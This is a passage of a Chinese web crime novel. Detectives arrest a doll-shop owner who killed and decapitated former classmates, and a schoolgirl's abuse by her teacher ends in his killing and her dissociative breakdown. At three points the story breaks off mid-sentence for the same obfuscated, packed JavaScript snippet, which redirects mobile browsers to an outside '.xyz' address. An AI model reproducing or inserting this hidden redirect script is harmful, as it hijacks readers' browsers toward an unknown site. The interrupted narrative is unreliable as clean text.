两人对视一眼,而后陆闻朝里面木门的方向喊了一声:“你好,有人在吗?” 不过片刻,穿着围裙的店老板从里面走出来,随手关上的木门哐当一声,他的视线旋即转到来人身上:“欢迎光临,请问有什么需要吗?” “高阳,对吧?” 陆闻没打算和他卖关子,他边走边将自己的工作证拿出来,最后停在店老板的对面:“我们是城东分局的警察,现在想请你协助我们调查一起案件。” 靠近收银台的墙边立着一张方桌,陆闻和齐况并排坐下,等到人也在对面坐下后,陆闻才拿出那张照片—— “这是你吧。”陆闻指了指照片上的男生。 说实话,若是不仔细看,他根本没想到眼前人会是高阳。 毕竟照片里的高阳身形纤细,干净阳光,而此刻坐在他们对面的店老板却满脸长胡,高大健壮。 很难想象到仅这几年的时光,他的外形和气场都像变了个人一样。 “对。”在绝对的证据面前,高阳倒没急着否定,“这是我还在上大学的时候,和同组员一起拍的合照。” 陆闻将照片拉回到自己的手边,抬起眼帘紧盯着面前的人:“那你现在和他们,还有联系吗?” 高阳摇摇头:“没有了,大学时发生过不愉快的事情。” “方便说下是什么不愉快的事吗?” “霸凌。” 高阳快速且平淡地说出了两个字,就连齐况都没来得及听清:“什么?” “他们当众嘲讽我,贬低我的能力,还孤立我,这不算霸凌吗?” 高阳斜眼看向旁边的齐况,眼底划过一丝厌恶:“想来你们之前也都了解过那件事情吧?又何必要我再提起一次。” 见高阳的眼神带着攻击性,陆闻抢先转移了话题:“高阳,关于你们大学时期发生的事,我们之前确实有了解过,不过我们这次过来,是有其他的事想要问你。” “有什么事,问吧。” “2月10号的晚上8点左右,你在哪里?” 高阳的眼珠转了转,似在回忆当时的情景:“那几天快到年了,店铺关门的早,晚上8点……我已经关门回家了。” “有人和你一起吗?” “没有,我一个人。” 尽管高阳如此说,可碍于没有关键的证据能证明案件确实与高阳有关,陆闻两人也不能将他作为嫌疑人去审问。 “好,那2月3号呢?” 高阳深吸了一口气,目光却直勾勾地盯着桌面:“我不太能记得了,好像,那天我去进货了。” “这个有人能证明吗?” “有,”高阳点点头,转动眼珠看向陆闻,“枫桥街有个批发市场,我的货就是从里面进的,那儿的老板和我认识。” 陆闻没放过他的半分神态变化,眼神也逐渐变得凌厉起来:“你一整天的时间,都在枫桥街的批发市场吗?” 闻言,高阳的身形一怔:“当然不,”他咧开嘴笑起来,可这笑意却未达眼底,“一整天都在进货的话,我这生意还做吗?” “我进完货就回来了,之后一直待在店里理货,忙了一个下午。晚上……我10点左右关的门,然后就开车回家了。” 陆闻点点头,朝周围墙角扫视了一番:“你这店里没有监控?” “没有,我不爱装监控。” “开的什么车?” “三轮车。”高阳侧过身子,指了指停在门外的一辆电动三轮车。 三轮车整个被围边封顶,遮的严严实实,只侧边有一把加了锁的铁门:“就在那里。” “我们能去看看吗?” “当然。” 陆闻和齐况对视一眼,而后眼神示意他跟自己一起出去看看。 屋内高阳没动,目视着前方不知在想些什么,屋外两人并肩站在三轮车的铁门前,而后用钥匙将门打开。 不过,除了几个装娃娃用的塑料箱,齐况并没有在车厢里找到其他物品,就连被陆闻检查了个遍的驾驶座,也没能发现什么可疑的东西。 “没有……” “我这边也没有。” 复回到刚才的位置坐下,陆闻的脸色冷了下来。时间过去这么久,就算高阳是真凶,这些东西他也早该清理干净了吧。 “高阳,这次就先到这里,还请你接下来能保持电话通畅,我们会随时联系到你。” 两人走之前,要求高阳向他们提供了指纹,从案发现场带回的物证上的那半枚指纹,说不定会是确认真凶的关键性证据。 之后,他们又去了观海路的枫桥街,在那里的批发市场,陆闻和齐况果然找到了高阳口中的老板,而高阳所说的时间和老板所说的也确实能对得上。 只是从这里离开后的高阳是否如他所说,真的在第一时间就回去了店里,还需要等后面才能知道。 路上,陆闻望着窗外出了神。 不管怎么说,现在崔益还没有找到,而冯佳的头也不知被作案人藏在了哪里,只凭张易舒的话和那张照片,还不能说明什么。 如果高阳不是凶手,仅凭那半枚指纹继续探究下去,恐怕不会有什么结果。 能在哪里呢? “在想什么?”停车等红灯的中途,齐况看见陆闻眉头紧锁,大概猜到他正在为案件的事烦心。 “已经过去这么久了,凶手的反侦察能力很强,不管是现场的痕迹还是监控,除了那半枚指纹,他什么都没有留下。而且,我们到现在连完整的尸体都没找到。” 齐况目视前方,紧盯着信号灯上的数字不停变换,他来不及关注陆闻此刻是何表情,便只留下一句:“我们还有机会,不是吗?” 回到队里的陆闻,第一件事就是把高阳的指纹送去和那半枚指纹做比对,还有从高阳那里出去后,他交给苏乐的那张三轮车的照片。 “能找到吗?” 苏乐紧盯着电脑屏幕,不敢有半分懈怠:“这辆三轮车近一周的行动轨迹都已经找到了,再往前的话还需要些时间。” “好,我等你。” 夜已深,刑侦大队各办公室的灯都还亮着。陆闻趴在自己的办公桌前,电脑屏幕上是刚写了一半的案件梳理,门忽地被人从外面打开后,只见齐况背着包进来。 “陆队,”齐况轻声唤了一句,“陆队,睡着了?” “嗯?”陆闻睡的并不深,听见动静便抬起头看向来人,“齐况,你怎么还没回去?” 齐况在旁边的沙发坐下:“准备走了,见你办公室的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985504|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯还亮着,过来看看。” 陆闻有些不好意思地挠挠头:“在梳理案件过程,还想着,说不定能发现什么之前被我们忽略掉的东西,结果太困了。” “天气还没有彻底回暖,夜里也是有些凉的,还是回去睡吧。” “好,”陆闻揉了揉眼睛,强迫自己打起精神,“这么晚了,我捎你一程吧。” 路上,陆闻紧盯着前方,首先开口道:“白天里你看高阳这人,老实不?” 闻言,齐况倒没有着急下定论:“说不上来,他说的时间和地点除了枫桥街那次之外,没人能完全作证,而且,他有些奇怪。” “我没看过哪一家店铺会用这么重的熏香,更何况这种娃娃一旦沾上味道,就很难清理掉。” “而且他对我们好像很了解,一开始我们只是就照片来提问,并没有提到他们之间的故事,可是他却说我们之前有了解过,看样子是知道些什么。” “还有他的送货时间也……” 听着齐况说完,陆闻并没有立刻接话,仿佛是在梳理自己的思路:“我倒是觉得,他有些太自信了。” 自信到,可以轻易将自己最重要的东西,就这么毫不在意地展示出来。 果不其然,在指纹的对比结果出来后,陆闻第一时间召集大家:“从案发现场发现的那半枚指纹,经过对比,就是高阳的。” “请大家稍后开始准备,之后统一在楼下集合,二组的同事到高阳的店铺进行搜查,一组和我去到高阳的住所。” 分头出发后,二组首先到达玩偶店,却发现大门紧锁,这个时间,显然是还没有开门。 马永毅拿起对讲机,和另一边联系到:“陆队,高阳不在玩偶店,门是从外面锁着的。” 而与此同时,陆闻一行人已经到了高阳居住的小区:“收到。你们先在附近布下控,方便能随时观察到那边的变化。” 站在前面的涂暄抬手敲了门,可回答他的却是一片寂静,如此几次后,他转头看向身后的陆闻,只摇了摇头。 “也不在。”陆闻在心里如此想着,“难不成是察觉到什么,提早跑了?” 还未等他做出什么反应,对讲机那边又传来了苏乐的声音:“陆队,高阳的车往景新南区去了。” 景新南区,是张易舒家所在的方向,陆闻担心高阳最后会和他对上,所以提前让苏乐盯紧他家和学校,尤其是高阳要对张易舒有所动作的时候。 “高阳去找张易舒了,”说出这句话的时候,陆闻已经快步穿过人群往外走了,“他有危险!” 从他们所在的位置到张易舒家还有段距离,好在高阳开的是三轮车,速度并不算快。一组和二组一齐到达张易舒家小区门口时,果然看见了那辆停在路边的三轮车。 “快,先上去!” 陆闻下车后一步没敢停,后面的人也紧跟其后,可就在如此争分夺秒的情况下,等他们赶到时,张易舒还是已经倒在了地上,而高阳正拿着刀对准他的颈部。 “高阳!”最先冲进来的是陆闻和薛文霖两人,“把刀放下,别再错下去了。” “错?”高阳抬起头看向围在门口的众人,张开嘴笑了起来,“我有什么错,或者说要不陆警官你来告诉我,到底什么是对错?” 陆闻一时语塞,他没法儿以一个旁观者的角度,轻易去评价到底何为对错,因为这对任何一个局中者来说,都是不公平的。 “我只知道,做违背道德和法律的事,就会是错的。” 良久,陆闻回过神,定定地朝高阳看过去:“曾经的崔益和冯佳是,现在的高阳亦是。” “可是,我还是想问问你,张易舒明明没有参与到你们之间的问题当中,你为什么还要伤害他?” “呵,他们三人组都死在一起,不是很好吗?张易舒是没干什么,所以我给他做的归宿,会是最好的。” “什么?” 陆闻没听懂高阳说的,可还未等他问清楚这话的意思,后者却忽地举起胳膊,刀尖向下正对着张易舒的喉咙。 “高阳!” “砰——” 一声枪响盖住了陆闻的声音,等高阳回过神时,手里的刀已经被齐况给击落,而众人也趁着空当扑上前将他按住。 “老实点!” 高阳的双手被铐住带走,陆闻也快步上前蹲下,观察起张易舒的情况:“还好,只是晕过去了。” 设下警戒线后,众人戴上装备,开始在现场搜索一切可疑痕迹。 薛文霖挂断电话后,从外面走了进来:“陆队,我联系了医院那边,一会儿就过来。” “好,”陆闻站起身,拍了拍薛文霖的肩膀,“这里先交给你们了。” 在对高阳进行审讯,和他对现场的指认之后,陆闻等人在高阳家的冰柜里,发现了另一个缺少头颅的尸体,经过检查确定是崔益无疑。 当然,还有隐藏在玩偶店里的,那扇门背后的景象。 为掩盖尸臭而熏的香,满墙缝制好的人形娃娃,还有摆放在桌上的,那两只完美的人头雕塑。 “既然他们看不起我的雕塑,那我就把他们做成我的雕塑。” 49. 镜中花 “曹宗景!” 门外一声闷响,伴随着脚步声进来的,还有女人尖锐的怒骂:“你看看这都几点了,你还去不去上课了啊?” 曹宗景夺回离开自己身体的薄被,闷着头抬起一只手:“再睡一分钟,一分钟绝对起。” “睡死过去得了。” 躲在被窝里的人没动弹,直到枕边的手机有铃声响起,他才缓缓探出头接了电话:“喂……姜泠?不是,起了起了。好,那你等等我。” 电话挂断,曹宗景火速起床,拽过椅子上的夏季校服套上,而后跑进卫生间边哼着歌边洗漱。 经过客厅旁边的木柜时,他匆忙拿出两袋面包:“妈,我先走了!” “走?”手拿锅铲的女人从厨房里探出半边身子,“你又不吃饭了!” “哎呀,姜泠车坏了,我去接她!”话音未落,少年的身影便消失在门后。 “真是的。” 夏季的晨风里夹杂着一丝清凉,路边梧桐郁郁葱葱,将刺眼的阳光挡在外面,只在宽敞的柏油路上留下斑驳树影。 曹宗景放下车,顺着台阶上去,而后在一圈白木栅栏前站定,朝院里浇花的男人喊道—— “姜叔叔早,我找姜泠。” “哦小景啊,”男人往曹宗景这边挥了挥手,“泠泠还在楼上收拾东西呢,你进来等吧。” 他正说着,一个扎着高马尾的女孩儿,已经背着书包快步从里面走出来:“曹宗景!爸,我们先走了。” 话音未落,姜泠推开铁门,拉过曹宗景的衣袖快步下了台阶。 “姜泠去上学啊。” 两人刚走下几个台阶,邻居家的老太太正好从街上买菜回来,迎上面时,姜泠立刻拉着曹宗景给她让出一条道儿。 “赵奶奶好。”姜泠笑着招呼道,曹宗景也呆愣愣地跟着她后面如是说了一句。 走到曹宗景随手靠在路边的自行车前,姜泠缓缓停下步子,而后转过身看向他:“早饭吃了吗?” “吃了。”曹宗景立刻回答道。 “我的车突然坏了,今天我又是值日生,抱歉让你这么早过来。”姜泠说着,从校服口袋里掏出一个塑料袋,“这是我妈昨晚包的包子,还热着,你赶紧吃了吧。” 曹宗景有些不好意思地接过:“谢,谢谢。” 说起来,他和姜泠从小学时就认识,初中和高中也都是在同一所学校,倒也没那么多上天安排的巧合,都是他自己想要和姜泠一起,才努力学习考上了这么好的高中。 那天,曹宗景的妈妈得知自家这一向不愿努力的儿子,竟然考上了才汇高中,激动地跑去他爸墓前上了好几炷香。 他的目的很明确,他喜欢姜泠,他想一直跟在姜泠身边。可就算是曹宗景这样的性格,在自己喜欢的人面前,也没有办法能足够坦率。 那么,这样就好了。 从姜泠家到才汇高中有段距离,骑自行车大概要半个小时,曹宗景也没敢耽误,顺着人行道一路往学校骑过去。 坐在后座的姜泠将书包的背带往肩膀上拉了拉,然后伸出手,抓住曹宗景因为风起而肆意飘动的校服外套。 远处路边汽车发动和压在马路上的声音此起彼伏,可姜泠却能清楚的听见,曹宗景此刻正在悠闲地哼着歌。 一瞬间,周围的一切仿佛都静止了。 日头正烈,树上的蝉鸣扰的人心发慌,班里的女生三五成团,围在一起聊的火热,只有姜泠独自一人,双手抱膝靠在操场的围栏网上,看着不远处在篮球场上打球的男生。 “大热天的在外面上体育课,真的要撑不住了。” “在这动一动都会出汗的天气,真佩服那些男生竟然还可以打这么长时间的球。” 说话的女生是姜泠的同桌陈楚,和曹宗景一样,陈楚也是她从小学就一起走过来的好朋友。 只不过陈楚的家教有些严格,所以自从上了高中之后,他们三人就很少聚在一起,不过好在都还能在同一个班级。 见姜泠也在看着那边,她悄悄靠近姜泠,碰了下她的胳膊,而后贴近她道:“话说,我们这马上都要高三了,曹宗景怎么还没和你表白?” “啊?”闻言,半天都没能反应过来的姜泠有些惊讶,“他为什么要和我表白?” 陈楚满脸不可置信:“喂,曹宗景喜欢你,这算是显而易见的事情吧?也就你,到现在都还看不出来。” 姜泠不知道该怎么回答她的话。 仔细想想,她和曹宗景确实认识的早,而且平时遇到什么麻烦,曹宗景也总是帮她,可如果说这是喜欢,姜泠实在不敢想。 “对了,”忽地,陈楚拉过姜泠,故作神秘地说道,“听说,孙老师准备给班里的同学开小灶,现在正在报名阶段,你去吗?” “我?”姜泠有些犹豫。 陈楚口中的孙老师,是他们的班主任,在学校教了十几年的书,教学质量自然是有保证的。 而且他们下学期就要升高三,虽说假期也可以报补习班,但孙老师了解他们学习上的弱点,自然能更好的对症下药。 可是…… 对上陈楚询问的目光,姜泠抿唇朝她笑了笑:“我先想想吧。” 再看向篮球场时,那边的上半场刚好结束,姜泠穿过人群看向曹宗景,却发现对方在喝完一口水后,也朝她这边挥了挥手。 少年开朗的笑容绽放在热烈的阳光下,就如同他们这本该灿烂洒脱的年纪。 于是姜泠也笑了。 夕阳西下时,天边也被抹上了一层红霞,余晖穿过高楼的缝隙,将两人的影子拉的很长。 姜泠低着头,和曹宗景并排走在人行道上:“听说,孙老师准备给班里有意愿的同学补课,我还挺想去的,你会去吗?” “我?”曹宗景伸出手指了指自己,有些不好意思地笑笑,“还是算了吧,高中的课程我实在听不太懂,去了也只是犯困。” “可是你当初,也是靠努力考上我们高中的,不是吗?” “那是因为……”曹宗景停下步子,转头便与姜泠四目相对。 良久,他都没能干脆地说完接下来的话:“叔叔和阿姨他们,不是都担心你在学校会被欺负嘛,我和你考上同一所高中,也可以保护你不是吗。” “那大学呢?” 曹宗景不动声色地移开目光,挠了挠头道:“上了大学……你会遇到更好的人吧。”至少是那种可以有共同话题,比我好的人。 他动了动嘴唇,还是没能将后半句说出来。 毕竟在他的印象里,姜泠并不怎么主动和自己说话,即便说了也是支支吾吾地,像是个为了不让对方尴尬,而绞尽脑汁找话题的傻瓜。 又或者说,就像是在迁就他罢了。 姜泠有些愣住了,可陈楚之前说的话,现在仿佛就在耳边。开什么玩笑,像曹宗景这么好的男生,又怎么会喜欢这么无趣的我呢? 大概是察觉到姜泠的情绪有些低落,曹宗景歪着头朝她看过去时,却发现对方已经别过脸没再面对他了。 “姜……”曹宗景试探着开口,谁知才刚说出一个字,姜泠就立刻往前走了几步。 “姜泠……”曹宗景不死心地又叫了对方一声,没想到姜泠竟加快速度,又继续往前走着。 他便不敢再开口说话了。 于是自那天之后,两人再没有说过话。 时光匆匆,转眼落叶枯黄,四季更迭。 因为补课的原因,姜泠每天早出晚归,曹宗景不知多少次在她家路口等着,却都没等到她一起上学。 也只有在班级里,他才能时不时地穿过中间的几位同学,看向坐在前排的姜泠。 进入高三之后,姜泠明显比之前要更努力,曹宗景也知道,在现在这么重要的阶段,还是不要打扰她的比较好。 尽管他们已经越来越远。 “最近,姜泠的状态一直不太好,是因为学习压力太大了吗?” 看着课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985505|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后独自坐在座位上,望着窗外发呆的姜泠,曹宗景有些出神。 “要不还是去问问吧。” 曹宗景这样想着,可就在他准备站起身过去时,从外面回来的陈楚已经坐在了姜泠的旁边。 下次吧。 那天下午,曹宗景坐在姜泠家路边的台阶前等了很久,直到路灯亮起,他才看见那个骑着自行车回来的女孩儿。 “姜泠!”曹宗景立刻站起身,朝她挥了挥手。 “曹宗景……”姜泠在他面前停下,握着车把的手紧了紧,“你怎么会在这儿?” “我有话想问你,走。” 于是两人又上了自行车,转头沿着公路往家的方向相反的地方骑去,而等到两人再出现时,已经是在海边的某一处。 微咸的海风肆意地吹动,海浪翻滚拍打起岸边的礁石,姜泠闭上眼,张开手感受着风的方向。 随后跟上来的曹宗景没舍得出声打断她,毕竟他最近很少看到她像现在这样轻松。 “时间很晚了,”姜泠忽地睁开眼,转头对上曹宗景的目光,“你有什么话,说吧。” “那个……”曹宗景别过脸看向海边,他不敢和姜泠对视太久,从很久以前就是,“你最近,是不是学习压力太大了?” 见姜泠没说话,曹宗景摆摆手,继续补充道:“我只是看你最近总在发呆,上课的时候也是,所以有些担心你。” “是吗?”姜泠有些出神。 良久,她都没有再说一句话。 直到一滴眼泪从眼眶滑落,她才猛然惊醒似的,别过脸慌忙地将眼泪擦掉,却不知怎的,不管她怎么努力都擦不完。 曹宗景有些没反应过来:“你……” 他终于挪动步子,走到姜泠的对面,可抬起的手又缩回,实在有些不知所措。 “你怎么了?” 一阵海风猛地朝他们扑过来,曹宗景的话音还未落,对面的人已经钻进他怀里,近似崩溃地大哭起来。 于是他又抬起刚才没能安慰到姜泠的手,可在半空中停留片刻后,又只能无力地垂下来。 他还从来没有见过这样的姜泠,一时间竟有些不知道该怎么办才好。 “姜泠……” “我不想上学,不想补课,我不想再见到他了!”良久,姜泠终于开了口,只是那语气里满是祈求和近乎撕心裂肺的疼痛。 “曹宗景,你带我走吧,带我离开这里,求你了。” 姜泠抱着曹宗景的手紧了紧,曹宗景只觉得自己有些喘不过气:“姜泠,我现在还不能带你走,你告诉我,到底发生了什么事好吗?” 事到如今,曹宗景知道姜泠不会只是因为学习压力大才这样,一定还有其他的原因,而这个“他”指的又是谁? “姜泠,你是在学校被什么人欺负了吗?你告诉我,或者你要是不想和我说,你回家告诉叔叔阿姨他们也行。不要憋在心里,好吗?” 闻言,姜泠像是想到什么可怕的东西,用尽了力气把曹宗景给推开:“不要!不要,我不要,不能告诉他们,绝对不能!” “好好好,我们不告诉他们了,不告诉了好吗,姜泠……” 姜泠的精神有些恍惚,从头到尾她的嘴里都不知在念叨着些什么,还未等曹宗景试探着上前,她却逃也似的转身跑开。 “姜泠!” 那次之后,曹宗景决定跟踪姜泠,看看到底是什么人,会趁着他不在欺负她。 从姜泠推着车离开校门开始,一直到她家路口,看着她上台阶,接连几天,曹宗景都跟在她后面。 可一如往常,并没有什么人和姜泠打过照面。 后来,曹宗景开始在校内等她,等在教学楼门口,等着姜泠出来,可惜他什么也没等到。 就和之前一样,姜泠放学的路上并无异常。 于是在这段时间里,曹宗景把能想到的人或事都在脑海里过了一遍。最后,一个最坏的念头,终于在他心里产生了。 50. 镜中花 那些新闻,曹宗景也只是在网上看到过,他不敢相信有一天,是可能会发生到姜泠身上的。 如果,如果他能早一点察觉到就好了。 曹宗景在怀里藏了一把水果刀。 等他放学后复回到学校时,校内的人几乎都已经走光了,不过他知道,此时在教师办公室里,一定还有人在。 曹宗景抬步往教学楼的方向跑去,等他终于上到教师办公室所在的楼层时,走廊两边的门几乎都已经紧闭。 直到最后一抹余阳,从走廊尽头的窗口照进来,于是整个走廊都被涂上了金色的光芒。 孙老师办公室的门在最里面,前几天刚考完试,说不定他们正在办公室里,听孙老师分析试卷上的错题。 只要他们都在…… 曹宗景快步向前走着,每走一步,他的心就没来由的慌乱起来,“咚咚,咚咚”,最后除了自己的心跳声,他什么也听不到了。 直到手指颤抖地搭在门把上,门被他从外面推开的时候,里面空荡荡地竟只留有两人。 孙老师正坐在办公桌前,姜泠就这样僵直着身体站在他旁边不敢反抗,最讽刺的是,旁边桌上还躺着一本为了掩人耳目,而刻意摊开的练习册。 可是,让曹宗景至始至终都没法移开目光的,是伸进姜泠衣服里,那只粗壮的胳膊。 虚伪、作呕、兽/欲、糜烂。 所有的一切,都充斥在这个看似静寂无声的房间里,而那扇门,就是掩盖住这些东西的最完美利器。 而推开这扇门的曹宗景,此刻身体正剧烈地摇晃着,他的背后仿佛有一只无形的手,在肆无忌惮地推动着他前进。 曹宗景好像闻到了有铁锈一般的气味,伴着哀嚎声迅速钻进他鼻腔里,带着腥臭。 不,是比这腥臭味更加浓烈的。 混乱中被推到旁边的姜泠终于反应过来,她跑过去一把抱住失控的曹宗景,只哭着喊道:“曹宗景,快停下,不要这样,我求你!” 曹宗景却像是没听见似的,从办公桌上又拿过厚厚的书本卷起,一下一下地打在孙老师的头上和脸上。 人在愤怒的时候,就像是一头蓄足了力气的野兽,即使身下的人已经奄奄一息,可他还是没有停下来。 “曹宗景!不要再打了,我求求你,你会回不了头的,我求你。” 我求你…… 少女的乞求和骇人的打击声被门遮挡在办公室内,此刻不会有人听到,一如之前少女那无人回应的求救声。 从教学楼里出来的时候,曹宗景把外套脱下,披在姜泠的身上,而后双手捏住她的肩,强迫她看向自己:“姜泠,今天的事和你没关系,你先回家,剩下的我会处理。” “曹宗景……” “对不起!” 还未等姜泠开口,曹宗景忽地一把将她抱住,头深深埋在她的肩膀处痛哭:“是我对不起你,如果我能早点发现的话,只要我能早点发现……” 曹宗景的唇颤抖着,最终还是没能把接下来的话说完。 良久,他终于冷静下来,手指却极力地攥紧着:“姜泠,先回家吧,黑夜很快就会过去的。” “不要!” 闻言,姜泠哭着抱紧了曹宗景:“我不想回家,你带我走好不好?曹宗景,你带我走吧,你说过,会好好保护我的,不是吗?” “姜泠!” 曹宗景低吼一声,抬起手一把将紧抱着自己的人推开:“现在这样的我是不可能带你走的,你会被我牵连到的你知道吗?你还有大好的前途,别任性,回家吧?” 曹宗景几乎是带着祈求的,说完这最后一句。而后他抬起手,可就在他想要抚摸姜泠的脸颊时,却发现了自己那早已经沾满鲜血的手指。 于是又一次的,他只能将自己的手收回。 他紧抿着嘴唇,他知道自己此刻有多想对姜泠说“我喜欢你,很久以前就开始喜欢了”,可他做不到,因为这会彻底毁了姜泠的。 “我先走了。”只这一句,曹宗景便头也不回地转身离开。 “曹宗……” 姜泠下意识地伸出手想把人给拉回来,可惜什么也没能碰到,她的手就这样在空中停滞片刻,再反应过来时,人已经走远了。 “曹宗景——” 从学校到家里的这段路,姜泠明明已经走过很多次,可她现在才发现,原来这条路有这么长,长到仿佛看不见尽头。 屋内漆黑一片,只有月光透过窗户照进来。 姜泠没开灯,她靠着记忆第一时间走到厨房,然后打开水龙头,静静地冲洗着手上的血迹。那鲜红的,带着狰狞的血迹。 而后,她拖着疲累的身体,走到自己房间的床边坐下。 借着月光,她抬起那只已经被清洗干净的手,可那鲜血的温热感,却始终在脑海中挥之不去,是怎么也冲洗不掉的。 黑夜之后,黎明到来。 警车停在姜泠家的时候,也不过是出事后的第二天下午。 上了台阶,再推开铁门穿过栅栏进去,除了正坐在院里秋千上的姜泠,他们没发现任何人。 “姜泠,我们是城东分局的警察,有个案子需要你配合我们调查。” “好。” 姜泠被他们带着到了路口,就在准备上警车时,她看见了对面一个熟悉的身影——曹宗景。 “别过来!”姜泠大声喊了一句。 周围的警察立刻对她这一举动警惕起来,还有两名女警将她拖住,防止她有其他动作。 见人没动,姜泠也没再挣扎,只是遥遥看着不远处,那个穿着校服站在梧桐树下的曹宗景,那个说过会保护她一辈子的男孩儿。 这样,就好了。 姜泠被人塞进了车里,从这里离开后,她看见了之前和曹宗景常去的那个海边。时间,仿佛回到了那年冬天—— “喂,你们不要欺负她!” 那年,他们刚上三年级,姜泠作为转学生过来,因为性格的原因,她在班里时常被一些男生欺负,直到那个叫曹宗景的小男孩儿出现。 “你没事吧?” 等人走了,曹宗景立刻把摔倒在地上的姜泠扶起来,还给她拍了拍沾上灰的衣服。 姜泠撇着小嘴,她有些想哭,却还是忍下了:“谢谢你。” 曹宗景有些不好意思地挠了挠头:“没关系啦,下次他们再欺负你的话,你就喊我,我妈妈说过,男子汉就是要保护比自己弱小的。我会保护你的。” 姜泠没说话,她低着头,眼泪止不住地掉在地上。 曹宗景也发现了她的异样,便歪着头看她:“你别难过了,以后我和你玩儿好不好?我给你糖吃,纸巾也给你。” 姜泠点点头,将东西从曹宗景手里接过:“谢谢你,曹宗景。” 自从转学过来之后,她默默在心里记下了班里所有同学的名字,可只有曹宗景,是她第一个叫出口的同学。 “苏乐,姜泠的那个案子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985506|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样了?” 午间,陆闻碰上了忙的还没来得及吃饭的苏乐。 当时他们接到才汇高中报案的时候,陆闻等人正在处理一件棘手的案子,因为有监控拍到作案人的作案过程,所以他才交给了苏乐去做。 结果没想到,后面竟会牵出这么多的事。 “下午还要去医院一趟,”苏乐抽空抬起头看了陆闻一眼,“不过,姜泠的情况还是很糟糕。” 说起来,这种案件陆闻也是第一次接触到,尤其是姜泠的遭遇,所以他对此也多上了些心:“下午我正好有空,一起去吧。” “好啊。” 到了医院之后,苏乐独自进了姜泠的病房,因为不久前才经历了那样的事,陆闻想着,现在还是不要让她见到陌生人比较好。 在外面等候的这段时间,陆闻去见了给姜泠治疗的医生:“你好,徐医生对吧,我是城东分局的警察陆闻,想过来了解些情况。” “你好陆警官,请坐吧。” 坐在徐医生对面的陆闻,在心里斟酌良久后,还是问出了那个,他现在最关心的问题:“姜泠她……有机会治好吗?” “这个,”徐医生抬手推了推眼镜,脸色也变得凝重起来,“姜泠的病,说到底还是和她的童年经历有关。” “对她来说,那是一个怎么也解不开的心结,或者说是挥之不去的阴影,也正是因为这样,她才会走到现在这一步。如果她一辈子都不能对过去释怀的话,恐怕治好的几率很小。” 姜泠的童年经历……说起来,陆闻倒是听苏乐提起过一些。 从姜泠出生时,她的父亲就一直酗酒家暴,后来母亲不堪重负因病去世,她便成了父亲发泄情绪的唯一目标。 上小学的时候,姜泠在班上认识了曹宗景和陈楚两人,那是她人生中最美好的回忆,可三人的友谊,却只维持到了初三。 因为在那一年,再也无法忍受父亲恶行的姜泠决定逃走,曹宗景和陈楚二人在得知后,也主动提出要帮她逃离魔爪。 可让人没想到的是,喝醉酒的父亲在开车出去寻找不见踪影的姜泠时,竟意外撞死了曹宗景和陈楚两人,而自己也在那场事故中因车祸去世。 目睹了全程的姜泠难以承受这样的悲痛,以至于她完全忘记了,之前在她身上发生的所有事。 也是从那之后,她的身体里除了自己,还住进了未亡的母亲,慈祥的父亲,还有她人生中最好的两个朋友。 就这样,她在那可怜的幻想当中,度过了最幸福的几年。 和苏乐一起从医院出来之后,陆闻发现她的眼神明显比刚才还要疲惫:“姜泠她,情况还是很不好吗?” 苏乐摇摇头:“和之前一样,不管我们问她什么,她都在为曹宗景辩解,说这件事和他没有任何关系。” “或许在姜泠的意识里,杀掉孙老师的人,一直都是曹宗景。我真的很难想象,那件事发生后她该有多痛,才会幻想出这些来。” 说到最后,苏乐的声音也有些哽咽。 自从工作以来,她很少与案件中的受害者共情,因为她在当警察之前,就已经知道了众生百态,各有各的悲苦。 可在看见姜泠之后,这个明明没有伤害过任何人,却因为人心险恶而受尽伤害的女孩儿,她竟怎么也没办法置身事外了。 这个受尽了折磨的女孩儿,或许最开始只是想有个能保护她的人,可她如今把自己骗的太深,这对她来说,无疑是更加痛苦罢了。 51. 渔翁得利 “对了,你等下先回去吧,我还有事儿,就不回队里了。” “是去调查一然的事吗?” 见陆闻朝自己看过来,苏乐连忙摆摆手道:“我也是听齐哥说的。其实,因为我和一然是同时期进队,也算是一起成长起来的,有些时候,还真的挺不想接受这个事实的。” 陆闻有些惊讶,毕竟林一然离开他们这么久,这还是苏乐第一次主动谈起他。想来确实,作为同期的搭档,苏乐的悲伤绝不会比他们少上一点。 见苏乐的情绪逐渐低落下来,陆闻拍了拍她的肩膀算是安慰:“我会查明真相的,一然不能白白牺牲。” 电梯的门在两人面前打开,他们正准备进去时,却看到了一个熟悉的身影:“齐况?” “陆队,苏乐。”齐况从电梯里走出来,明显也愣了一下,“有案子?” 苏乐摇摇头:“过来看望一下姜泠。” 陆闻有些奇怪:“对了,你今天不是休息吗,怎么来医院了,生病了?” 